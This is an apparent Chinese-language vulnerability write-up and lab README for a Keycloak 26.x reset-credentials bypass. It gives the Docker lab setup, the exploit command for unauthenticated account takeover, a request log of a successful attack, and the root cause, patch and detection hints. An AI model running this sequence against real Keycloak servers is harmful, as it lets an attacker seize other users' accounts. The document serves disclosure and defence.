用于测试受 reset-credentials 流程绕过影响的 Keycloak 26.x 版本的 Docker 环境。随附的实验室将 Keycloak 固定为 26.6.2,该版本位于受影响范围内(>26.0 且 <26.7.2)。
要求:Docker、Docker Compose、Python 3。已使用 Docker 镜像 quay.io/keycloak/keycloak:26.6.2 进行测试。
docker compose up -d
curl http://127.0.0.1:8080
compose 文件会启动 Keycloak 26.6.2,并带有临时管理员 admin/admin-password-for-lab。通过管理控制台或管理 REST API 创建测试领域和用户。必须启用重置流程,并且必须可访问内置的 reset-credential-email 执行。
ATO 示例:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <已知领域> --username <已知受害者> \
--new-password '<密码>' \
--allow-loopback-http-cookie --change-password
loopback-cookie 选项仅适用于此 HTTP Docker 实验室。 成功验证/利用
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] 存在漏洞:无需电子邮件操作令牌即可到达密码更新表单
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
当“忘记密码”使用存在漏洞的内置 reset-credentials 流程时,可导致未认证账户接管。电子邮件持有步骤被标记为成功,但未消耗其操作令牌,从而将攻击者推进到 UPDATE_PASSWORD。
两个状态机缺陷共同作用:
tryAnotherWay 将 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true 作为全局布尔值存储在认证会话中。它未绑定到显示选择器的执行,从而允许过期的选择器状态影响另一个重置流程执行。ResetCredentialEmail.action() 接受任何调用:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
因此,精心构造的重置流程序列可以操纵选择器/当前执行状态,并在不点击电子邮件链接的情况下调用电子邮件认证器操作。Keycloak 将电子邮件步骤视为已完成,并为所选受害者暴露密码更新执行。
重置电子邮件仍可能生成,并记录 SEND_RESET_PASSWORD。不需要拥有邮箱或令牌。
选择器状态现在绑定到确切的执行模型:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
如果该注释与 CURRENT_AUTHENTICATION_EXECUTION 不匹配,则将其移除。更重要的是,电子邮件操作现在要求操作令牌身份与流程用户匹配:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services 流程;可利用的选择器状态更改在 26.0.0 中引入。reset-credential-email 必须可访问且已绑定。禁用“忘记密码”可阻止此路径。Keycloak 缺乏明确的“电子邮件令牌被跳过”事件。关联流程时间和反向代理日志:
code_id:SEND_RESET_PASSWORD → 数秒内 UPDATE_PASSWORDtryAnotherWayGET /login-actions/action-token,而合法的电子邮件点击会生成该请求这是启发式的:如果用户已打开电子邮件,可以快速重置,并且在日志记录/保留被禁用的情况下,缺少事件不能证明任何问题。
认证流程状态混淆 + 无条件认证器成功绕过了持有检查。一般测试边界:每当认证执行可以被重新访问、通过“尝试其他方式”切换或从旧 URL 恢复时,验证每个认证器是否重新验证其自身的证明,而不是信任共享的流程状态。